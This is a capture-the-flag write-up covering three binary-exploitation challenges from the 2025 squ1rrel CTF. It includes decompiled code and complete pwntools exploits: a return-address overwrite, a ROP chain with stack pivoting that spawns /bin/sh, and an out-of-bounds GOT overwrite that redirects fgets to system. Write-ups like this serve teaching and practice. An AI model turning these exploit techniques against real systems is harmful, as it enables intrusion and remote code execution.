CTF/writeup

2025 squ1rrel CTF writeup

shielder 2025. 4. 10. 01:32
  1. deja vu
  2. jail!
  3. squ1rrel-casino

deja vu

[*] '/mnt/d/squ1rrel/deja vu/prob'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Partial RELRO, No canary, No PIE

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[64]; // [rsp+0h] [rbp-40h] BYREF

  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  printf("pwnme: ");
  gets(v4);
  return 0;
}

So easy prob. It has bof vuln. Even,

int win()
{
  char s[8]; // [rsp+0h] [rbp-70h] BYREF
  __int64 v2; // [rsp+8h] [rbp-68h]
  __int64 v3; // [rsp+10h] [rbp-60h]
  __int64 v4; // [rsp+18h] [rbp-58h]
  __int64 v5; // [rsp+20h] [rbp-50h]
  __int64 v6; // [rsp+28h] [rbp-48h]
  __int64 v7; // [rsp+30h] [rbp-40h]
  __int64 v8; // [rsp+38h] [rbp-38h]
  __int64 v9; // [rsp+40h] [rbp-30h]
  __int64 v10; // [rsp+48h] [rbp-28h]
  __int64 v11; // [rsp+50h] [rbp-20h]
  __int64 v12; // [rsp+58h] [rbp-18h]
  int v13; // [rsp+60h] [rbp-10h]
  FILE *stream; // [rsp+68h] [rbp-8h]

  *(_QWORD *)s = 0LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0;
  puts("You got it!!");
  stream = fopen("flag.txt", "r");
  if ( !stream )
    return puts("Error: Could not open flag.txt (create this file for testing)");
  fgets(s, 100, stream);
  printf("%s", s);
  return fclose(stream);
}

It has win function. Do Return Address Overwrite(RAO?).

exploit

from pwn import *

p = remote('20.84.72.194', 5000)
e = ELF('./prob')

p.sendlineafter(b': ', b'a' * 0x48 + p64(e.sym['win']))
p.interactive()

jail!

[*] '/mnt/d/squ1rrel/jail!/prison'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Partial RELRO, NO PIE

prison: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=11861526f4bb256264011fa2e0118c82e3b99e2c, for GNU/Linux 3.2.0, not stripped

statically linked. So, It has many gadgets like pop rax, rdi, rsi, rdx or syscall etc..

__int64 __fastcall prison(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // edx
  int v7; // ecx
  int v8; // r8d
  int v9; // r9d
  __int64 result; // rax
  int v11; // ecx
  int v12; // r8d
  int v13; // r9d
  int v14; // esi
  int v15; // edx
  int v16; // ecx
  int v17; // r8d
  int v18; // r9d
  _QWORD v19[7]; // [rsp+0h] [rbp-80h]
  int v20; // [rsp+3Ch] [rbp-44h] BYREF
  _BYTE v21[64]; // [rsp+40h] [rbp-40h] BYREF

  v19[1] = "Empty Cell";
  v19[2] = "Jay. L. Thyme";
  v19[3] = "Jay. L. Thyme's Wife";
  v19[4] = "Jay. L. Thyme's Wife's Boyfriend";
  v19[5] = "Rob Banks";
  printf(
    (unsigned int)"They gave you the premium stay so at least you get to choose your cell (1-6): ",
    a2,
    a3,
    a4,
    a5,
    a6);
  if ( (unsigned int)_isoc99_scanf((unsigned int)"%d", (unsigned int)&v20, v6, v7, v8, v9, (char)"The Professor") == 1 )
  {
    while ( (unsigned int)getchar() != 10 )
      ;
    v14 = v20;
    printf((unsigned int)"Cell #%d: Your cellmate is %s\n", v20, v19[v20 - 1], v11, v12, v13);
    printf((unsigned int)"Now let's get the registry updated. What is your name: ", v14, v15, v16, v17, v18);
    fgets(v21, 100LL, stdin);
    puts("...");
    sleep(3LL);
    puts("...");
    return puts("What did you expect. You're in here for life this is what it looks like for the rest.");
  }
  else
  {
    puts("Invalid input!");
    do
      result = getchar();
    while ( (_DWORD)result != 10 );
  }
  return result;
}

Since it doesn't check v20, it has oob vuln, but anyway I didn't use this vuln.
It also has bof vuln. I can use various gadget, so I exploit it with stack pivoting and syscall.

exploit

from pwn import *
from time import *

context.terminal = ['tmux', 'splitw', '-h']

#p = process('./prison')
p = remote('20.84.72.194', 5001)
e = ELF('./prison')

bss = 0x4d2500
syscall = 0x00000000004013b8
pop_rax = 0x000000000041f464
pop_rdi = 0x0000000000401a0d
xor_edi_rdi = 0x000000000047ddda
pop_rsi_rbp = 0x0000000000413676
pop_rdx = 0x0000000000401a1a
leave = 0x0000000000401b54

p.sendlineafter(b': ', b'1')
payload = b'a' * 64 + p64(bss + 0x40) + p64(0x401b05)
p.sendlineafter(b'name: ', payload)

sleep(4)
payload = p64(xor_edi_rdi) + p64(pop_rsi_rbp) + p64(bss + 0x100) + p64(bss + 0x100) + p64(pop_rdx) + p64(0x100) + p64(e.sym['read']) + p64(leave)
payload += p64(bss - 8) + p64(leave)
#gdb.attach(p)
p.sendline(payload)

sleep(4)
payload = b'/bin/sh\x00' + p64(pop_rdi) + p64(bss + 0x100) + p64(pop_rsi_rbp) + p64(0) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall)
p.send(payload)
p.interactive()

squ1rrel-casino

[*] '/mnt/d/squ1rrel/squ1rrel-casino/casino'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Partial RELRO

size_t initialize_game()
{
  size_t result; // rax

  player = 100;
  dword_40A4 = 0;
  printf("Enter your name: ");
  result = (size_t)fgets(byte_40A8, 64, stdin);
  if ( result )
  {
    result = strcspn(byte_40A8, "\n");
    byte_40A8[result] = 0;
  }
  return result;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [rsp+Ch] [rbp-34h] BYREF
  time_t timer; // [rsp+10h] [rbp-30h] BYREF
  struct tm *v7; // [rsp+18h] [rbp-28h]
  timeval tv; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  v3 = time(0LL);
  srand(v3);
  initialize_game();
  while ( 1 )
  {
    while ( 1 )
    {
      puts("\n=== Squ1rrel Casino Menu ===");
      puts("1. Play Blackjack");
      puts("2. Show Balance");
      puts("3. Exit");
      printf("Choose an option: ");
      if ( (unsigned int)__isoc99_scanf("%d", &v5) == 1 )
        break;
      puts("Invalid input!");
      while ( getchar() != 10 )
        ;
    }
    while ( getchar() != 10 )
      ;
    if ( v5 == 3 )
      break;
    if ( v5 > 3 )
      goto LABEL_15;
    if ( v5 == 1 )
    {
      play_blackjack();
    }
    else if ( v5 == 2 )
    {
      show_balance();
    }
    else
    {
LABEL_15:
      puts("Invalid option!");
    }
  }
  puts("Thanks for playing at the Squ1rrel Casino!");
  gettimeofday(&tv, 0LL);
  timer = tv.tv_sec;
  v7 = localtime(&timer);
  printf("But it's only %02d:%02d! Surely you can stay longer?\n", v7->tm_hour, v7->tm_min);
  return 0;
}

In, initialize_game, receive name input. After it, main functions as a initial menu. You can sense easily show_balance doesn't have any vuln. Let's check play_blackjack.

unsigned __int64 play_blackjack()
{
  __int64 *card_name; // rax
  __int64 *v1; // rax
  __int64 *v2; // rax
  __int64 *v3; // r12
  __int64 *v4; // rax
  int card_value; // ebx
  int v6; // ebx
  char v8; // [rsp+5h] [rbp-3Bh]
  unsigned __int8 v9; // [rsp+6h] [rbp-3Ah]
  unsigned __int8 v10; // [rsp+7h] [rbp-39h]
  unsigned __int8 v11; // [rsp+8h] [rbp-38h]
  unsigned __int8 v12; // [rsp+9h] [rbp-37h]
  char v13; // [rsp+Ah] [rbp-36h]
  unsigned __int8 v14; // [rsp+Bh] [rbp-35h]
  int v15; // [rsp+Ch] [rbp-34h] BYREF
  int v16; // [rsp+10h] [rbp-30h]
  int v17; // [rsp+14h] [rbp-2Ch]
  unsigned __int64 v18; // [rsp+18h] [rbp-28h]

  v18 = __readfsqword(0x28u);
  v9 = draw_card();
  v10 = draw_card();
  v11 = draw_card();
  v12 = draw_card();
  byte_40E8 = (16 * v10) | v9;
  printf("\nWelcome to Blackjack, %s!\n", byte_40A8);
  printf("Your balance: $%d\n", player);
  puts("\nYour cards:");
  card_name = get_card_name(v9);
  printf("Card 1: %s (0x%X)\n", (const char *)card_name, v9);
  v1 = get_card_name(v10);
  printf("Card 2: %s (0x%X)\n", (const char *)v1, v10);
  v2 = get_card_name(v11);
  printf("Dealer's face-up card: %s (0x%X)\n", (const char *)v2, v11);
  v8 = 1;
  do
  {
    puts("\nOptions:");
    puts("1. View a card");
    if ( v8 )
      puts("2. Replace a card (once per game)");
    puts("3. Stand (end your turn)");
    puts("4. Exit game");
    printf("Choose an option: ");
    if ( (unsigned int)__isoc99_scanf("%d", &v15) == 1 )
    {
      if ( v15 == 4 )
        return v18 - __readfsqword(0x28u);
      if ( v15 > 4 )
      {
LABEL_35:
        puts("Invalid option!");
        continue;
      }
      switch ( v15 )
      {
        case 3:
          v3 = get_card_name(v12);
          v4 = get_card_name(v11);
          printf("\nDealer's cards: %s (0x%X) and %s (0x%X)\n", (const char *)v4, v11, (const char *)v3, v12);
          v13 = byte_40E8 & 0xF;
          v14 = (unsigned __int8)byte_40E8 >> 4;
          card_value = get_card_value(byte_40E8 & 0xF);
          v16 = card_value + get_card_value(v14);
          v6 = get_card_value(v11);
          v17 = v6 + get_card_value(v12);
          if ( v16 > 21 && (v13 == 1 || v14 == 1) )
            v16 -= 10;
          if ( v17 > 21 && (v11 == 1 || v12 == 1) )
            v17 -= 10;
          printf("Your total: %d\n", v16);
          printf("Dealer's total: %d\n", v17);
          if ( v16 <= 21 )
          {
            if ( v17 <= 21 )
            {
              if ( v16 <= v17 )
              {
                if ( v17 <= v16 )
                {
                  puts("It's a tie!");
                }
                else
                {
                  puts("Dealer wins.");
                  player -= 10;
                }
              }
              else
              {
                puts("You win!");
                player += 20;
                ++dword_40A4;
              }
            }
            else
            {
              puts("Dealer busts! You win!");
              player += 20;
              ++dword_40A4;
            }
          }
          else
          {
            puts("You bust! Dealer wins.");
            player -= 10;
          }
          break;
        case 1:
          view_card();
          break;
        case 2:
          if ( v8 )
          {
            replace_card();
            v8 = 0;
          }
          else
          {
            puts("You've already replaced a card this game!");
          }
          break;
        default:
          goto LABEL_35;
      }
    }
    else
    {
      puts("Invalid input!");
      while ( getchar() != 10 )
        ;
    }
  }
  while ( v15 != 3 && v15 != 4 );
  return v18 - __readfsqword(0x28u);
}

play_blackjack play game menu role. What we need to check first is, We don't have to care win or lose. Because there isn't price about our money, and we can just leave game, not to drop money. Another thing we can know from this is, we don't have to predict rand although we can do it. Honestly, it's annoying, isn't it? Thank goodness.

__int64 *__fastcall get_card_name(char a1)
{
  switch ( a1 )
  {
    case 1:
      name_0 = ')1( ecA';
      break;
    case 2:
      name_0 = ')2( owT';
      break;
    case 3:
      strcpy((char *)&name_0, "Three (3)");
      break;
    case 4:
      strcpy((char *)&name_0, "Four (4)");
      break;
    case 5:
      strcpy((char *)&name_0, "Five (5)");
      break;
    case 6:
      name_0 = ')6( xiS';
      break;
    case 7:
      strcpy((char *)&name_0, "Seven (7)");
      break;
    case 8:
      strcpy((char *)&name_0, "Eight (8)");
      break;
    case 9:
      strcpy((char *)&name_0, "Nine (9)");
      break;
    case 10:
      strcpy((char *)&name_0, "Ten (10)");
      break;
    case 11:
      strcpy((char *)&name_0, "Jack (10)");
      break;
    case 12:
      strcpy((char *)&name_0, "Queen (10)");
      break;
    case 13:
      strcpy((char *)&name_0, "King (10)");
      break;
    case 14:
      strcpy((char *)&name_0, "Joker (10)");
      break;
    case 15:
      strcpy((char *)&name_0, "Special (10)");
      break;
    default:
      name_0 = 'nwonknU';
      break;
  }
  return &name_0;
}
unsigned __int64 view_card()
{
  __int64 *card_name; // rax
  unsigned __int8 card; // [rsp+Bh] [rbp-25h]
  int v3; // [rsp+Ch] [rbp-24h] BYREF
  char *v4; // [rsp+10h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  printf("Which card to view? ");
  if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
  {
    if ( --v3 > 2 )
    {
      puts("Not your card!");
    }
    else
    {
      v4 = &byte_40E8;
      card = get_card((__int64)&byte_40E8, v3);
      card_name = get_card_name(card);
      printf("Card #%d: %s (0x%X)\n", v3 + 1, (const char *)card_name, card);
    }
  }
  else
  {
    puts("Invalid input!");
    while ( getchar() != 10 )
      ;
  }
  return v5 - __readfsqword(0x28u);
}

In view_card, it doesn't check negative index of v3, so oob occurs. Also, since it prints this info, we can leak pie, libc address. (libc : read puts's got, pie : read __dso_handle which points itself)

__int64 draw_card()
{
  return (unsigned int)(rand() % 15 + 1);
}
unsigned __int64 replace_card()
{
  __int64 *card_name; // rax
  unsigned __int8 v2; // [rsp+Bh] [rbp-25h]
  unsigned int v3; // [rsp+Ch] [rbp-24h] BYREF
  char *v4; // [rsp+10h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  printf("Which card index to replace? ");
  if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
  {
    if ( (int)--v3 > 2 )
    {
      puts("Not your card!");
    }
    else
    {
      v2 = draw_card();
      v4 = &byte_40E8;
      card_name = get_card_name(v2);
      printf("Drew new card: %s (0x%X)\n", (const char *)card_name, v2);
      set_card(v4, v3, v2);
      puts("Card replaced!");
    }
  }
  else
  {
    puts("Invalid input!");
    while ( getchar() != 10 )
      ;
  }
  return v5 - __readfsqword(0x28u);
}

In replace_card, same oob occurs for same reason as view_card, so we can do got overwrite. Now, what is the plan?
At the end of the main function, gettimeofday called. Overwrite it's got to main address to call main again. (For localtime function, this logic establish exactly same.) Next, overwrite fgets' got to system. The reason this works is because we can type /bin/sh\x00 in the name first. So it operate like system('/bin/sh'). Other register values ​​are not important.

Exploit

from pwn import *
from tqdm import *

context.terminal = ['tmux', 'splitw', '-h']

#p = process('./casino')
p = remote('20.84.72.194', '5004')
e = ELF('./casino')
e2 = ELF('./casino')
l = ELF('./libc.so.6')

def libc_leak():
    p.sendlineafter(b': ', b'1')
    idx = (0x4080 - 0x40e8) * 2
    libc_base = 0
    for i in range(12):
        p.sendlineafter(b': ', b'1')
        p.sendlineafter(b'? ', str(idx + i).encode())
        msg = int(p.recvline().split(b'(')[-1].split(b')')[0], 16)
        libc_base += msg << ((i + 1) * 4 - (i & 1) * 8)

    l.address = libc_base - l.sym['_IO_2_1_stdout_']
    p.sendlineafter(b': ', b'4')
    print(hex(l.address))

def pie_leak():
    p.sendlineafter(b': ', b'1')
    idx = (0x4070 - 0x40e8) * 2
    for i in range(12):
        p.sendlineafter(b': ', b'1')
        p.sendlineafter(b'? ', str(idx + i).encode())
        msg = int(p.recvline().split(b'(')[-1].split(b')')[0], 16)
        e2.address += msg << ((i + 1) * 4 - (i & 1) * 8)

    e2.address -= 0x4070
    p.sendlineafter(b': ', b'4')
    print(hex(e2.address))

def got_mod(addr : int, val : int, n : int):
    idx = (addr - 0x40e8) * 2
    for i in trange(n):
        wantvalue = (val & (0xf << ((i + 1) * 4 - (i & 1) * 8))) >> ((i + 1) * 4 - (i & 1) * 8)
        if wantvalue == 0 : 
            if i == 1: continue
            else : exit()
        msg = 17
        while msg != wantvalue:
            p.sendlineafter(b': ', b'1')
            p.sendlineafter(b': ', b'2')
            p.sendlineafter(b'? ', str(idx + i).encode())
            msg = int(p.recvline().split(b'(')[-1].split(b')')[0], 16)
            p.sendlineafter(b': ', b'4')

p.sendlineafter(b'Enter your name: ', b'/bin/sh\x00')
libc_leak()
pie_leak()
print()
print(hex(e2.sym['main']))
print(hex(l.sym['system']))
got_mod(e.got['gettimeofday'], e2.sym['main'], 4)
got_mod(e.got['fgets'], l.sym['system'], 6)

#gdb.attach(p, "b* main")
p.sendlineafter(b': ', b'3')
p.interactive()

'CTF > writeup' 카테고리의 다른 글

2025 codegate CTF final writeup  (0) 2025.07.21
2025 1753CTF writeup  (0) 2025.04.13
2025 codegate CTF quals writeup  (2) 2025.04.09
2025 SSU CTF writeup  (0) 2025.04.09
2024 WaRP CTF writeup - misc  (2) 2025.01.06